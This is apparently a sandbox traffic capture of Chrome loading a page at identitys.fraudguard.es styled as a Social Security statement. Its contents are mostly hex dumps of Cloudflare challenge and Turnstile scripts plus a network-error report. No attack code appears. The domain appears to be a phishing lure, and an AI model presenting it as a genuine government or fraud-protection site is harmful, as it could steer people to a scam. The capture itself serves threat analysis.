3	192.168.2.16	49706	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:34 UTC	1021	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4 HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_rt_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:34 UTC	860	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 95945 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IA%2Fes54ZyRQg0FwFJBVGhdAv6D9yYUFy%2B7cFjxGVkhmRQuWzRBTs%2BWNqexIVYaQgkj6seSXApFqAmIlQpilUMSU30dPgbkyJS%2B7gZ25fsMrs4AO1S8TR94tgxlQhbfYYB0jNZHuVugcqUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c2ffa7f5042c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1836&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1621&delivery_rate=1614151&cwnd=225&unsent_bytes=0&cid=61edcc97816d90e7&ts=452&x=0"
2024-11-22 21:59:34 UTC	509	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 7d Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=true;window._cf_chl_opt.uPikb3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"}
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 22 3a 22 50 6c 65 61 73 65 25 32 30 65 6e 61 62 6c 65 25 32 30 43 6f 6f 6b 69 65 73 25 32 30 61 6e 64 25 32 30 72 65 6c 6f 61 64 25 32 30 74 68 65 25 32 30 70 61 67 65 2e 22 2c 22 72 65 76 69 65 77 5f 63 6f 6e 6e 65 63 74 69 6f 6e 22 3a 22 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 25 32 30 6e 65 65 64 73 25 32 30 74 6f 25 32 30 72 65 76 69 65 77 25 32 30 74 68 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 6f 66 25 32 30 79 6f 75 72 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 62 65 66 6f 72 Data Ascii: 20by%20an%20intermediary%20and%20is%20no%20longer%20available","cookies_missing":"Please%20enable%20Cookies%20and%20reload%20the%20page.","review_connection":"%25%7Bplaceholder.com%7D%20needs%20to%20review%20the%20security%20of%20your%20connection%20befor
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 30 74 6f 25 32 30 74 68 65 25 32 30 72 6f 6f 74 25 32 30 6f 66 25 32 30 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 2e 22 2c 22 72 65 64 69 72 65 63 74 69 6e 67 5f 74 65 78 74 5f 6f 76 65 72 72 75 6e 22 3a 22 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 25 32 30 74 6f 25 32 30 72 65 70 6c 79 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 Data Ascii: 0to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","redirecting_text_overrun":"%25%7Bplaceholder.com%7D%20is%20taking%20longer%20than%20expected%20to%20reply.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 32 30 61 6e 64 25 32 30 63 61 6e 6e 6f 74 25 32 30 63 6f 6d 70 6c 65 74 65 25 32 30 76 65 72 69 66 69 63 61 74 69 6f 6e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 73 75 63 63 65 73 73 5f 74 69 74 6c 65 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 22 2c 22 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 68 65 6c 70 65 72 5f 74 69 74 6c 65 22 3a 22 57 68 61 74 25 32 30 69 73 25 32 30 74 68 69 73 25 32 30 50 61 67 65 25 33 46 22 2c 22 73 74 75 63 6b 5f 68 65 6c 70 Data Ascii: 20and%20cannot%20complete%20verification","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","success_title":"Verification%20successful","interstitial_helper_title":"What%20is%20this%20Page%3F","stuck_help
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 46 2c 65 4d 2c 65 4e 2c 65 55 2c 65 57 2c 66 33 2c 66 34 2c 66 35 2c 66 39 2c Data Ascii: "polyfills":{"turnstile_timeout":false,"turnstile_feedback_description":false,"feedback_report_output_subtitle":false,"testing_only_always_pass":false,"turnstile_overrun_description":false},"rtl":false,"lang":"en-us"};~function(gF,eM,eN,eU,eW,f3,f4,f5,f9,
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 72 6e 20 68 26 69 7d 2c 27 58 77 46 63 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 55 6d 75 72 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 71 64 74 4b 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6b 69 73 74 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4c 42 53 55 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 53 58 41 68 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 41 4f 42 57 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 66 5a 46 70 65 27 3a Data Ascii: rn h&i},'XwFch':function(h,i){return h-i},'UmurV':function(h,i){return i\|h},'qdtKA':function(h,i){return h-i},'kisty':function(h,i){return h-i},'LBSUf':function(h,i){return i==h},'SXAhY':function(h,i){return i\|h},'AOBWr':function(h,i){return i&h},'fZFpe':
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 29 7b 69 66 28 68 6e 3d 68 6b 2c 78 3d 7b 7d 2c 78 5b 68 6e 28 34 31 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 52 3d 3d 3d 51 7d 2c 42 3d 78 2c 6a 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 44 3d 7b 7d 2c 45 3d 7b 7d 2c 46 3d 27 27 2c 47 3d 32 2c 48 3d 33 2c 49 3d 32 2c 4a 3d 5b 5d 2c 4b 3d 30 2c 4c 3d 30 2c 4d 3d 30 3b 64 5b 68 6e 28 39 35 33 29 5d 28 4d 2c 6a 5b 68 6e 28 33 31 32 29 5d 29 3b 4d 2b 3d 31 29 69 66 28 4e 3d 6a 5b 68 6e 28 35 34 35 29 5d 28 4d 29 2c 4f 62 6a 65 63 74 5b 68 6e 28 31 30 32 33 29 5d 5b 68 6e 28 34 34 31 29 5d 5b 68 6e 28 31 30 30 35 29 5d 28 44 2c 4e 29 7c 7c 28 44 5b 4e 5d 3d 48 2b 2b 2c 45 5b 4e 5d 3d 21 30 29 2c 4f 3d 46 2b 4e Data Ascii: ,I,J,K,L,M,N,O,P){if(hn=hk,x={},x[hn(410)]=function(Q,R){return R===Q},B=x,j==null)return'';for(D={},E={},F='',G=2,H=3,I=2,J=[],K=0,L=0,M=0;d[hn(953)](M,j[hn(312)]);M+=1)if(N=j[hn(545)](M),Object[hn(1023)][hn(441)][hn(1005)](D,N)\|\|(D[N]=H++,E[N]=!0),O=F+N
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 68 6e 28 31 30 36 35 29 5d 28 4b 2c 31 29 7c 50 2c 64 5b 68 6e 28 37 36 38 29 5d 28 4c 2c 64 5b 68 6e 28 37 37 31 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 6e 28 36 39 38 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 68 6e 28 33 38 31 29 5d 28 30 29 2c 43 3d 30 3b 31 36 3e 43 3b 4b 3d 64 5b 68 6e 28 31 31 30 30 29 5d 28 4b 3c 3c 31 2c 31 26 50 29 2c 4c 3d 3d 64 5b 68 6e 28 39 32 33 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 68 6e 28 36 39 38 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 47 3d 3d 30 26 26 28 47 3d 4d 61 74 68 5b 68 Data Ascii: =1,C++);}else{for(P=1,C=0;C<I;K=d[hn(1065)](K,1)\|P,d[hn(768)](L,d[hn(771)](o,1))?(L=0,J[hn(698)](s(K)),K=0):L++,P=0,C++);for(P=F[hn(381)](0),C=0;16>C;K=d[hn(1100)](K<<1,1&P),L==d[hn(923)](o,1)?(L=0,J[hn(698)](s(K)),K=0):L++,P>>=1,C++);}G--,G==0&&(G=Math[h
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 71 28 36 39 38 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 64 5b 68 71 28 39 35 35 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 71 28 38 35 35 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 68 71 28 33 34 30 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f Data Ascii: 0,H)&&(H=j,G=o(I++)),J\|=F(0<L?1:0),F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[hq(698)](M);;){if(d[hq(955)](I,i))return'';for(J=0,K=Math[hq(855)](2,C),F=1;F!=K;L=H&G,H>>=1,d[hq(340)](0,H)&&(H=j,G=o(I++)),J\|=F(0<L?1:0),F<<=1);switch(M=J){case 0:fo
2024-11-22 21:59:34 UTC	1369	IN	Data Raw: 5b 68 76 28 32 39 35 29 5d 3f 67 5b 68 76 28 31 37 32 29 5d 5b 68 76 28 36 36 35 29 5d 28 6e 65 77 20 67 5b 28 68 76 28 32 39 35 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 77 2c 48 29 7b 66 6f 72 28 68 77 3d 68 76 2c 47 5b 68 77 28 35 35 38 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 68 77 28 33 31 32 29 5d 3b 47 5b 48 2b 31 5d 3d 3d 3d 47 5b 48 5d 3f 47 5b 68 77 28 38 32 32 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 76 28 38 30 31 29 5d 5b 68 76 28 31 37 30 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 76 28 35 39 30 29 5d 28 43 2c 78 5b 68 76 28 33 31 32 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 76 28 34 37 39 29 5d Data Ascii: [hv(295)]?g[hv(172)][hv(665)](new g[(hv(295))](x)):function(G,hw,H){for(hw=hv,G[hw(558)](),H=0;H<G[hw(312)];G[H+1]===G[H]?G[hw(822)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hv(801)][hv(170)](B),C=0;o[hv(590)](C,x[hv(312)]);D=x[C],E=o[hv(479)]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49707	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:34 UTC	498	OUT	POST /report/v4?s=XFi4yMB0qfXbAZ1cdvdmwLjHrhkRe%2F%2BpWaQayyeXLbCAnLVbi8IeQV2Fu4uvFS0RKDUBKLKFclLBnuY%2BcRJjCv1rbJ156uT%2BTWaLpA179Kfh%2F9FJKzz64OA7Eda5VzS%2BGcoSLu7D5NYVLQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 416 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:34 UTC	416	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 33 31 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 38 2e 31 30 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 73 2e 66 72 61 75 Data Ascii: [{"age":2,"body":{"elapsed_time":3313,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.218.103","status_code":403,"type":"http.error"},"type":"network-error","url":"https://identitys.frau
2024-11-22 21:59:35 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 22 Nov 2024 21:59:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49712	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:36 UTC	591	OUT	GET /turnstile/v0/g/e4025c85ea63/api.js?onload=iQmfw1&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://identitys.fraudguard.es sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:37 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Tue, 19 Nov 2024 14:16:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e6c3009fb290c90-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:37 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
